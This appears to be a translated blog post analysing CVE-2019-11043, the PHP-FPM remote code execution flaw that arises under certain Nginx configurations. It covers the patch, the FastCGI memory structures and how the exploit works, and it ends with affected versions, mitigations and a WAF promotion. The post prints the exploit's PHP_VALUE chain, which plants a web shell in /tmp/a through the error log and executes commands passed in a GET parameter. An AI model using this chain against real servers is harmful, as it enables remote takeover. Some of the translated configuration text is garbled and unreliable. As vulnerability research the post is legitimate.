Dry | CVE-2019-11043: Any Code Execution Vulnerability Analysis for PHP-FPM under Nginx specific configuration

Recently, Andrew Danau, a foreign security researcher, stumbled upon a bug in the processing of a specific request by the php-fpm component during the flag race (CTF: Capture the Flag): a particular constructed request could cause a php-fpm processing exception under a specific Nginx configuration, resulting in remote execution of arbitrary code.Currently, the author has published vulnerability information and automated utilizations on github.Given the high market share of the Nginx+PHP portfolio in Web application development, the vulnerability has a wide range of impacts.

Overview of vulnerabilities

PHP-FPM has an arbitrary code execution vulnerability in a specific Nginx configuration.Specifically:
Servers built with Nginx + PHP-FPM use nginx.conf similar to the following configuration:

1   location ~ [^/]\.php(/|$) {
2        fastcgi_split_path_info ^(.+?\.php)(/.*)$;
3        fastcgi_param PATH_INFO       $fastcgi_path_info;
4        fastcgi_pass   php:9000;
5        ...

fastcgi_split_path_info in Nginx will leave PATH_INFO passed to PHP-FPM empty (PATH_INFO=") when processing path_info where'\n'(%oA) exists, affecting the direction of key pointers, resulting in a controlled zero position for subsequent path_info[0]=0 operations. By constructing requests for a specific length and content, you can overwrite specific location data, insert specific environment variables, and result in generationsCode execution.

Vulnerability Analysis

First, analyze its patch: In the static void init_request_info(void) function that initializes the request_info structure, size checks are added to the pilen and slen to avoid unexpected backtracking of the pointer.

 1    // php-src/sapi/fpm/fpm/fpm_main.c
 2    ...
 3    if (pt) {
 4        while ((ptr = strrchr(pt, '/')) || (ptr = strrchr(pt, '\\'))) {
 5            // Check the incoming PATH_INFO.Get true PATH_INFO by judging file status
 6            *ptr = 0;
 7            f (stat(pt, &st) == 0 && S_ISREG(st.st_mode)) {
 8            int ptlen = strlen(pt); # Path-translated CONTENT_LENGTH
 9            int slen = len - ptlen;  //script length
10            int pilen = env_path_info ? strlen(env_path_info) : 0;  //Path info length 0
11            int tflag = 0;
12            char *path_info;
13
14            if (apache_was_here) {
15                /* recall that PATH_INFO won't exist */
16                path_info = script_path_translated + ptlen;
17                tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
18            } else {
19        -       path_info = env_path_info ? env_path_info + pilen - slen : NULL; // New env_path_info is set by offset, but offset is not checked
20        -       tflag = (orig_path_info != path_info);
21        +       path_info = (env_path_info && pilen > slen) ? env_path_info + pilen - slen : NULL;
22        +       tflag = path_info && (orig_path_info != path_info);
23            }
24
25            if (tflag) {
26                if (orig_path_info) {
27                char old;
28
29                FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
30                old = path_info[0];
31                path_info[0] = 0; //Zero Operation
32                if (!orig_script_name ||
33                    strcmp(orig_script_name, env_path_info) != 0) {
34                    if (orig_script_name) {
35                        FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);//Trigger Entry
36                    }
37                    SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
38                    } else {
39                    SG(request_info).request_uri = orig_script_name;
40                    }
41                    path_info[0] = old;
42                }
43        ...

among

 1    //Take http://localhost/info.php/test?a=b for example
 2    PATH_INFO=/test
 3    PATH_TRANSLATED=/docroot/info.php/test
 4    SCRIPT_NAME=/info.php
 5    REQUEST_URI=/info.php/test?a=b
 6    SCRIPT_FILENAME=/docroot/info.php
 7    QUERY_STRING=a=b
 8
 9    pt = script_path_translated; // = env_script_filename => "/docroot/info.php/test"
10    len = script_path_translated_len  // For'/docroot/info.php/test'
11
12    // After recalculation
13    int ptlen = strlen(pt); // strlen("/docroot/info.php")
14    int pilen = env_path_info ? strlen(env_path_info) : 0;  // That is len(PATH_INFO) "/test"
15    int slen = len - ptlen;   // len("/test")
16
17    path_info = env_path_info + pilen - slen; // The pilen value may not be 0 or slen, that is, offset to 0 or -N

Visible, when PATH_INFO is empty, path_info points to a forward offset of length test.Then path_info[0] = 0; you can zero a single byte at a specific location.However, a common position of zero does not cause RCE, further use requires that a specific control position be zero, which happens to control the write position.This is where request->env->data->pos is located.Here you need to explain how each variable is stored.

Each environment variable passed in through the fastcgi protocol is stored in the fcgi_request->env structure, which is defined as follows:

 1    // php-src/sapi/fpm/fpm/fastcgi.c
 2    typedef struct _fcgi_hash_bucket {
 3        unsigned int              hash_value;
 4        unsigned int              var_len;
 5        char                     *var;
 6        unsigned int              val_len;
 7        char                     *val;
 8        struct _fcgi_hash_bucket *next;
 9        struct _fcgi_hash_bucket *list_next;
10    } fcgi_hash_bucket;
11
12    typedef struct _fcgi_hash_buckets {
13        unsigned int               idx;
14        struct _fcgi_hash_buckets *next;
15        struct _fcgi_hash_bucket   data[FCGI_HASH_TABLE_SIZE];
16    } fcgi_hash_buckets;
17
18    typedef struct _fcgi_data_seg {
19        char                  *pos;
20        char                  *end;
21        struct _fcgi_data_seg *next;
22        char                   data[1];
23    } fcgi_data_seg;
24
25    typedef struct _fcgi_hash {
26        fcgi_hash_bucket  *hash_table[FCGI_HASH_TABLE_SIZE];
27        fcgi_hash_bucket  *list;
28        fcgi_hash_buckets *buckets;
29        fcgi_data_seg     *data;
30    } fcgi_hash;
31    ...
32    /* hash table */
33    //Initialization operation
34    static void fcgi_hash_init(fcgi_hash *h)
35    {
36        memset(h->hash_table, 0, sizeof(h->hash_table));
37        h->list = NULL;
38        h->buckets = (fcgi_hash_buckets*)malloc(sizeof(fcgi_hash_buckets));
39        h->buckets->idx = 0;
40        h->buckets->next = NULL;
41        h->data = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + FCGI_HASH_SEG_SIZE); // Default allocation (4*8 - 1) + 4096
42        h->data->pos = h->data->data; //Point to the initial write location of the environment variable
43        h->data->end = h->data->pos + FCGI_HASH_SEG_SIZE; point//End of data_seg
44        h->data->next = NULL;
45    }
46    ...

Among them, we focus on get/set operations, which are implemented as follows:

 1    static char *fcgi_hash_get(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, unsigned int *val_len)
 2    // Associated FCGI_GETENV()
 3    {
 4        unsigned int      idx = hash_value & FCGI_HASH_TABLE_MASK;
 5        fcgi_hash_bucket *p = h->hash_table[idx];
 6
 7        while (p != NULL) {
 8        //Require same hast_value, same var_len to fetch value
 9            if (p->hash_value == hash_value &&
10                p->var_len == var_len &&
11                memcmp(p->var, var, var_len) == 0) {
12                *val_len = p->val_len;
13                return p->val;
14            }
15            p = p->next;
16        }
17        return NULL;
18    }
19
20    static char* fcgi_hash_set(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, char *val, unsigned int val_len)
21    // Associated FCGI_PUTENV()
22    {
23        unsigned int      idx = hash_value & FCGI_HASH_TABLE_MASK;  // Calculate hash_value to determine index
24        fcgi_hash_bucket *p = h->hash_table[idx];  //Get the corresponding value in the original hash_table
25
26        while (UNEXPECTED(p != NULL)) {
27            if (UNEXPECTED(p->hash_value == hash_value) &&
28                p->var_len == var_len &&
29                memcmp(p->var, var, var_len) == 0) {
30
31                p->val_len = val_len;
32                p->val = fcgi_hash_strndup(h, val, val_len);
33                return p->val;
34            }
35            p = p->next;
36        }
37
38        if (UNEXPECTED(h->buckets->idx >= FCGI_HASH_TABLE_SIZE)) {
39            fcgi_hash_buckets *b = (fcgi_hash_buckets*)malloc(sizeof(fcgi_hash_buckets));
40            b->idx = 0;
41            b->next = h->buckets;
42            h->buckets = b;
43        }
44
45        p = h->buckets->data + h->buckets->idx;
46        h->buckets->idx++;
47        p->next = h->hash_table[idx];
48        h->hash_table[idx] = p;
49        p->list_next = h->list;
50        h->list = p;
51
52        p->hash_value = hash_value;
53        p->var_len = var_len;
54        p->var = fcgi_hash_strndup(h, var, var_len);
55        p->val_len = val_len;
56        p->val = fcgi_hash_strndup(h, val, val_len);
57        return p->val;
58    }
59
60    static inline char* fcgi_hash_strndup(fcgi_hash *h, char *str, unsigned int str_len)
61    // Actual operation request->env->data to write data.
62    {
63        char *ret;
64
65        if (UNEXPECTED(h->data->pos + str_len + 1 >= h->data->end)) {
66        //Insert a new fcgi_hash_seg forward if the length of the data you are about to write is greater than the size of the fcgi_hash_seg you are currently pointing to
67                unsigned int seg_size = (str_len + 1 > FCGI_HASH_SEG_SIZE) ? str_len + 1 : FCGI_HASH_SEG_SIZE;//Long value, not written across two seg s.
68                fcgi_data_seg *p = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + seg_size);
69                p->pos = p->data;
70                p->end = p->pos + seg_size;
71                p->next = h->data;
72                h->data = p;
73            }
74
75            ret = h->data->pos;
76            memcpy(ret, str, str_len); //Write data after h->data->pos
77            ret[str_len] = 0;
78            h->data->pos += str_len + 1; //Move back h->data->pos to a new writable location
79            return ret;
80    }

From this, we can conclude that the direction of request->env->data->pos directly affects our environment variable Key, where Value is written, and that as long as we control the direction of char* pos, we may overwrite existing data.However, the following requirements and limitations exist to achieve RCE:

  1. Pointer forward is affected by the current fcgi_hash_seg spatial structure. Too short a char* pos cannot be zero, and too long a char* pos is allocated to the new fcgi_hash_seg space.(Passing "like" http://127.0.0.1/Somefile_exits/AAAAA.php/"can also cause pointer to move backwards,)
  2. path_info[0] = 0 can only zero a single byte, preferably the lowest bit, or it will cause too many pointer positions to deviate.
  3. Given that condition 2 should be overwritten with a minimum bit of 0, followed by a qualifying overridable environment variable.
  4. The key of the overridden location environment variable must be the same as the key expected to be written: var, hash_value, and var_len to be read.
  5. When FCGI_PUTENV (request,'ORIG_PATH_INFO', orig_path_info) is executed, ORIG_SCRIPT_NAME, orig_script_name (ORIG_SCRIPT_NAME/index.php/PHP_VALUE\nAAAAAA) is written, respectively.

Accordingly, we can:

  1. By controlling the length of the query_string, the path_info happens to be in the first place in the data of the new fcgi_hash_seg, at which point we only need to move 8+8+8+len ("PATH_INFO\0") +N = 34+N to complete the tampering with char* pos.Meets the requirements of condition 1,2.
  2. By customizing the http header, manipulating the length of the request header places the expected override of environment variables in a specific location (0x_u_00+len ("ORIG_SCRIPT_NAME") +len ("/index.php/").Requirements 3,5 are met.(In NGINX, the request header in HTTP is passed into PHP-FPM as "HTTP_XXX" and then written into request-env)
  3. The Exp author provided EBUT, a custom header whose env variable name HTTP_EBUT is equal to PHP_VALUE in length and hash_value, and PHP_VALUE will be tried to read in subsequent processing (ini = FCGI_GETENV (request,'PHP_VALUE');Requirements under condition 4 are met.

In addition, given that PATH_INFO revaluation part of the logic deals mainly with situations where PATH_INFO is different from real path_info, there is a case for the nginx configuration item mentioned at the beginning where URLs such as http://localhost/index/info.php/test?a=b can be initiated to construct the following scenarios

 1    //For example, with http://localhost/index/info.php/test?a=b, index is an existing file
 2    PATH_INFO=/test
 3    PATH_TRANSLATED=/docroot/index/info.php/test
 4    SCRIPT_NAME=/index/info.php
 5    REQUEST_URI=/index/info.php/test?a=b
 6    SCRIPT_FILENAME=/docroot/index/info.php
 7    QUERY_STRING=a=b
 8
 9    pt = script_path_translated; // = env_script_filename => "/docroot/index/info.php/test"
10    len = script_path_translated_len  // For'/docroot/index/info.php/test'
11
12    // After recalculation
13    int ptlen = strlen(pt); // strlen("/docroot/index")
14    int pilen = env_path_info ? strlen(env_path_info) : 0;  // That is len(PATH_INFO) "/test"
15    int slen = len - ptlen;   // len("/info.php/test ")
16
17    path_info = env_path_info + pilen - slen;  // Pilen < slen, that is, offset to -N

At this time, pointer shift can also be completed without the presence of%0A in the URL. The vulnerability process is similar to that described above, but because script_name is invalid, it is not possible to visualize the state of the attack, so it is difficult to make use of it.

path_info points to the memory layout after request->env->data->pos

Vulnerability Utilization

The Exp author uses PHP_VALUE to pass multiple environment variables to PHP, causing PHP to produce errors, outputs the web shell as an error log to/tmp/a, and automatically executes malicious code in/tmp/a through auto_prepend_file to achieve getshell.

 1    var chain = []string{
 2        "short_open_tag=1", //Open short php tab
 3        "html_errors=0",   // Turn off the HTML tag in the error message.
 4        "include_path=/tmp",  //Include Path
 5        "auto_prepend_file=a",  //Specifies the files that are automatically included before the script executes, similar to require().
 6        "log_errors=1",  //Enable error log
 7        "error_reporting=2",   //Specify error level
 8        "error_log=/tmp/a",  //Error Logging File
 9        "extension_dir=\"<?=\`\"",   //Specify the load directory for the extension
10        "extension=\"$_GET[a]\`?>\"", //Specify the extension to load
11    }

Scope of influence

With the configuration mentioned earlier, this vulnerability affects the following versions of PHP:
7.1.x < 7.1.33
7.2.x < 7.2.24
7.3.x < 7.3.11

Bug Repair

The cgi.fix_pathinfo=0 option can be set by adding the configuration try_files%uri = 404php to Nginx to temporarily avoid vulnerability effects.You can also choose to use updates that have been officially released for full repair.

Jingdong Cloud-WAF now supports the protection of this vulnerability, click [ Read Get more product information.

Welcome to click " Jingdong Cloud "Learn more

 

Keywords: PHP Nginx github shell

Added by JeditL on Thu, 14 Nov 2019 09:48:58 +0200